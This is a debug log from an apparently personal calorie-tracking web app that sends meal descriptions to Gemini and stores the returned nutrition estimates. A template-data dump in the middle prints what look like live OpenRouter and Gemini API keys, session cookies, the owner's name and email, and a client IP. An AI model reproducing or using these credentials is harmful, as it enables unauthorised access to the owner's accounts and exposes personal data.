2025-12-24T03:48:02.760Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (27g protein)',
      calories_consumed_per_serving: null,
      total_calories: 120,
      protein: 27,
      carbs: 3,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development and recovery after workouts.'
    },
    {
      food_name: 'Poha (flattened rice)',
      quantity: '1 serving (approx. 50g dry poha)',
      calories_consumed_per_serving: null,
      total_calories: 180,
      protein: 4,
      carbs: 40,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of complex carbohydrates for sustained energy. Can be made healthier with more vegetables and less oil.'
    },
    {
      food_name: 'Tomato (mixed with poha)',
      quantity: '1 medium (approx. 120g)',
      calories_consumed_per_serving: null,
      total_calories: 22,
      protein: 1,
      carbs: 5,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent source of vitamins, minerals, and antioxidants. Adds flavor and nutrients without significant calories.'
    },
    {
      food_name: 'Matar (Green Peas) (mixed with poha)',
      quantity: '1/2 cup (approx. 80g)',
      calories_consumed_per_serving: null,
      total_calories: 60,
      protein: 4,
      carbs: 11,
      fat: 0,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of plant-based protein, fiber, and vitamins. Contributes to satiety and overall nutrient intake.'
    }
  ],
  total_macros: {
    protein: { value: 36, unit: 'g' },
    carbs: { value: 59, unit: 'g' },
    fat: { value: 2, unit: 'g' },
    total_calories: { value: 382, unit: 'kcal' }
  }
}
2025-12-24T03:48:30.934Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-24T03:48:30.934Z server-connect:app Executing action step identify
2025-12-24T03:48:30.934Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:30.935Z server-connect:output identity: 1
2025-12-24T03:48:30.935Z server-connect:app Executing action step restrict
2025-12-24T03:48:30.935Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:48:30.936Z server-connect:output restrict: undefined
2025-12-24T03:48:30.936Z server-connect:app Executing action step processWithGemini
2025-12-24T03:48:30.936Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-24T03:48:33.722Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '1 scoop (27g protein)',
      calories_consumed: 120,
      total_calories: 120,
      protein: 27,
      carbs: 3,
      fat: 1,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
    },
    {
      food_name: 'Poha (mixed with tomato, onion, matar)',
      quantity: '1 serving (approx. 150g cooked)',
      calories_consumed: 200,
      total_calories: 200,
      protein: 5,
      carbs: 40,
      fat: 3,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
    }
  ],
  total_macros: {
    total_calories: 320,
    total_protein: 32,
    total_carbs: 43,
    total_fat: 4,
    unit: 'grams'
  }
}
2025-12-24T03:48:53.314Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-24T03:48:53.315Z server-connect:app Executing action step identify
2025-12-24T03:48:53.315Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:53.315Z server-connect:output identity: 1
2025-12-24T03:48:53.315Z server-connect:app Executing action step restrict
2025-12-24T03:48:53.315Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:48:53.316Z server-connect:output restrict: undefined
2025-12-24T03:48:53.316Z server-connect:app Executing action step condition
2025-12-24T03:48:53.316Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-24T03:48:53.316Z server-connect:app Executing action step repeat
2025-12-24T03:48:53.316Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-24T03:48:53.316Z server-connect:app Executing action step insert
2025-12-24T03:48:53.316Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T03:48:53.318Z server-connect:output calories: { affected: 1, identity: 502 }
2025-12-24T03:48:53.318Z server-connect:app Executing action step insert
2025-12-24T03:48:53.318Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-24T03:48:53.319Z server-connect:output calories: { affected: 1, identity: 503 }
2025-12-24T03:48:53.319Z server-connect:output repeat: [ {}, {} ]
2025-12-24T03:48:53.319Z server-connect:output condition: undefined
2025-12-24T03:48:53.585Z server-connect:router Serving templateView /calorie-tracker
2025-12-24T03:48:53.585Z server-connect:app Executing action step identify
2025-12-24T03:48:53.585Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:53.586Z server-connect:output identity: 1
2025-12-24T03:48:53.586Z server-connect:app Executing action step restrict
2025-12-24T03:48:53.586Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-24T03:48:53.586Z server-connect:output restrict: undefined
2025-12-24T03:48:53.586Z server-connect:router Render template layouts/main
2025-12-24T03:48:53.587Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-24T03:50:56.474Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AaJuyKrA9dxFzuOpN8n%2BV4Q%3D%3D.m0LX4dpam4QXhsgsgnd%2BsJNYeL9Y4ygM%2FNvHfuadLFd51jg2OpHj3wFzZIMYcveUGfdwYJlIykDbCjocmC%2Be4OFZqxGqmnOqbpSd1sUax9qUtcxSaDz6XsoiPCaCNja0etzuNVQJDz6T%2Br1tl99eeUQMP9A4WW8bap%2BNvY4q3B8%3D.cIPsyBtQzb8vy8jJDO9YDSKpUSghOQ%2FsrAFXUDw3qUY; your_r_git.sid=s%3AhNs1yiMXhh1ZacQEh_BpZowLC5Diq5oB.LVajFAcIam0FvQcXNsNGPbrKZgHkQzqVRJPSxNUKKn0',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-24T03:48:53.816Z server-connect:app Executing action step identify
2025-12-24T03:48:53.816Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:53.816Z server-connect:output identity: 1
2025-12-24T03:48:54.348Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-24T03:48:54.349Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-24T03:48:54.350Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-24T03:48:54.350Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-24T03:48:54.350Z server-connect:app Executing action step identify
2025-12-24T03:48:54.350Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:54.350Z server-connect:output identity: 1
2025-12-24T03:48:54.350Z server-connect:app Executing action step restrict
2025-12-24T03:48:54.350Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:48:54.351Z server-connect:app Executing action step identify
2025-12-24T03:48:54.351Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:54.351Z server-connect:output identity: 1
2025-12-24T03:48:54.351Z server-connect:app Executing action step restrict
2025-12-24T03:48:54.351Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:48:54.352Z server-connect:app Executing action step identify
2025-12-24T03:48:54.352Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:54.352Z server-connect:output identity: 1
2025-12-24T03:48:54.352Z server-connect:app Executing action step restrict
2025-12-24T03:48:54.352Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-24T03:48:54.354Z server-connect:output restrict: undefined
2025-12-24T03:48:54.354Z server-connect:app Executing action step select
2025-12-24T03:48:54.354Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-24T03:48:54.354Z server-connect:app Executing action step identify
2025-12-24T03:48:54.354Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:54.355Z server-connect:output identity: 1
2025-12-24T03:48:54.355Z server-connect:app Executing action step restrict
2025-12-24T03:48:54.355Z server-connect:app options: { provider: 'security' }
2025-12-24T03:48:54.355Z server-connect:output restrict: undefined
2025-12-24T03:48:54.355Z server-connect:app Executing action step single
2025-12-24T03:48:54.355Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-24T03:48:54.356Z server-connect:output restrict: undefined
2025-12-24T03:48:54.356Z server-connect:app Executing action step single
2025-12-24T03:48:54.356Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-24T03:48:54.357Z server-connect:output restrict: undefined
2025-12-24T03:48:54.357Z server-connect:app Executing action step single
2025-12-24T03:48:54.358Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-24T03:48:54.359Z server-connect:output summary: {
  summary: {
    rating: 2,
    summary: "The day's nutritional intake appears quite limited, with only two items logged. While the pre-workout is standard for gym-goers, the sole food item is a fruit, which lacks the comprehensive nutrients needed for muscle development and recovery. Consistency in training is good, but the current dietary approach is unlikely to support your goals effectively.",
    bad_points: [
      'Extremely low food intake for the day.',
      'Lack of protein sources to support muscle development and repair.',
      'Absence of balanced meals with carbohydrates and healthy fats.',
      'Insufficient fiber intake.'
    ],
    good_points: [
      'Consistent gym attendance is a positive habit.',
      'Use of a pre-workout supplement is noted.'
    ],
    suggestions: [
      'Incorporate a protein-rich breakfast, lunch, and dinner.',
      'Include a variety of vegetables and whole grains in meals.',
      'Ensure adequate hydration throughout the day.',
      'Consider post-workout nutrition to aid recovery.'
    ],
    predicted_weight: 70,
    predicted_weight_trend: 'slight loss'
  },
  date: '2025-12-23T18:30:00.000Z'
}
2025-12-24T03:48:54.360Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-24T03:48:54.361Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-24T03:48:54.362Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-24T03:48:54.362Z server-connect:app Executing action step select
2025-12-24T03:48:54.362Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-24T03:48:54.364Z server-connect:output item_list: [
  {
    id: 500,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Jamfal (Guava)',
    calories: 30,
    protein_gm: 1,
    carbs_gm: 7,
    fat_gm: 0,
    quantity: '2 slices',
    replacements: 'Cucumber slices,Watermelon slices,Bell pepper strips',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 1,
    skip_reason: "Jamfal is a good source of Vitamin C and fiber, beneficial for overall health and recovery. It's a low-calorie fruit."
  },
  {
    id: 501,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Pre-workout supplement',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop',
    replacements: 'Black coffee (no sugar/cream),Green tea,Small piece of fruit (e.g., half a banana)',
    created_at: '2025-12-23T19:28:36.000Z',
    skip_level: 2,
    skip_reason: "While pre-workouts can provide a boost for intense sessions, they often contain artificial sweeteners, colors, and stimulants. For muscle development, focus on whole foods and adequate sleep. If you feel you need it, ensure it's a high-quality product with minimal additives. Consider if the energy boost is truly necessary for every session or if natural sources can suffice."
  },
  {
    id: 502,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle building),Egg whites (pure protein, very low calorie),Greek yogurt (high protein, lower calorie than some whey shakes)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, high protein content, and relatively low in other macros. Ideal for your goals.'
  },
  {
    id: 503,
    intake_date: '2025-12-23T18:30:00.000Z',
    item_name: 'Poha (mixed with tomato, onion, matar)',
    calories: 200,
    protein_gm: 5,
    carbs_gm: 40,
    fat_gm: 3,
    quantity: '1 serving (approx. 150g cooked)',
    replacements: 'Quinoa Poha (higher protein, more fiber),Oats Poha (more fiber, can be lower calorie depending on preparation),Brown Rice Poha (more fiber than white poha)',
    created_at: '2025-12-23T22:18:53.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy, and the vegetables add fiber and micronutrients. A decent breakfast option for your activity level.'
  }
]
2025-12-24T03:48:54.364Z server-connect:app Executing action step setvalue
2025-12-24T03:48:54.364Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-24T03:48:54.364Z server-connect:output var_total: 360
2025-12-24T03:48:54.364Z server-connect:app Executing action step setvalue
2025-12-24T03:48:54.364Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
